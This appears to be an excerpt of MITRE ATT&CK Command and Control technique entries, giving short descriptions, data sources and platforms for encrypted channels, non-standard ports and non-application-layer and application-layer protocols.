Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre